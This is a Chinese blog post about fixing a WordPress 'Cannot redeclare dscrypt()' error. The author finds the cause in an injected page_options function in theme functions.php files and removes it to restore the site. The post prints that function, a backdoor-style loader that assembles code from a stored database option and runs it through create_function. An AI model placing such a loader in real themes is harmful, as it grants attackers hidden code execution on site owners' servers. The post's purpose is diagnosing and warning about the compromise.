wordpress出现Fatal error:Cannot redeclare dscrypt() (previously declared in…错误

之所以记下这个错误,是因为这个错很奇怪。

一般这个错误的全文是:

Cannot redeclare dscrypt() (previously declared in /homepages/4/d171060969/htdocs/saturnscene/wp-content/themes/bueno/header.php:152) in /homepages/4/d171060969/htdocs/saturnscene/wp-content/themes/bueno/functions.php(29) : runtime-created function(1) : eval()’d code on line 67

说他奇怪,有几点:

  1. 错误的最后行数一定是on line 67.但即使你真的改了对应文件的第67行,他还是会报这个错。
  2. 一般这个错误都出现在wordpress主题的function.php文件
  3. 这个错误出现的很莫名其妙

我上一篇文章说了,我因为pearlie主题报错而换了一个新主题。但今天早上在公司,突然发现新主题也报错,而且是与pearlie差不多的错。尼玛,要不要人活啊!

昨天在家里测试新主题的时候,没什么问题,但今天却又报错。我搜索了一下这个错误,发现很多人都遇到这个问题——但都是外国人,国内没有这方面的信息,而且,外国人也没有说怎么解决这个问题。

郁闷了。我改了主题function.php的第67行,但依然报这个67的错。然后我发现错误中出现了好几个文件,于是我一一查看这些文件。关键来了,看我上文错误里的红色function.php后面那个括号,那里面才是错误出现的真正的行数。

找到这一行,不出所料你会发现一个php函数:page_options,他的内容应该如下:

function page_options() { 
	$option = get_option('page_option'); 
	$opt=unserialize($option);
	@$arg = create_function('', $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );
	return $arg('');
}
add_action('loop_start', 'page_options');

一般就是上面的出现@这一行报错,但你删掉这个@依然会报错。

我的解决办法是:把page_options函数整个删掉!连同他后面的add_action语句都删掉!

然后主题就正常了。不过我建议你谨慎修改,有疑问可以联系我。

这个page_options函数,我搜索了一下,不是wordpress的官方函数,但同时出现在我的pearlie主题及新换的主题中,而我把他们都删掉之后,两个主题都恢复正常了。于是我又换回了pearlie。

我怀疑是不是我的网站被入侵了。。。各位小心。

发表评论

电子邮件地址不会被公开。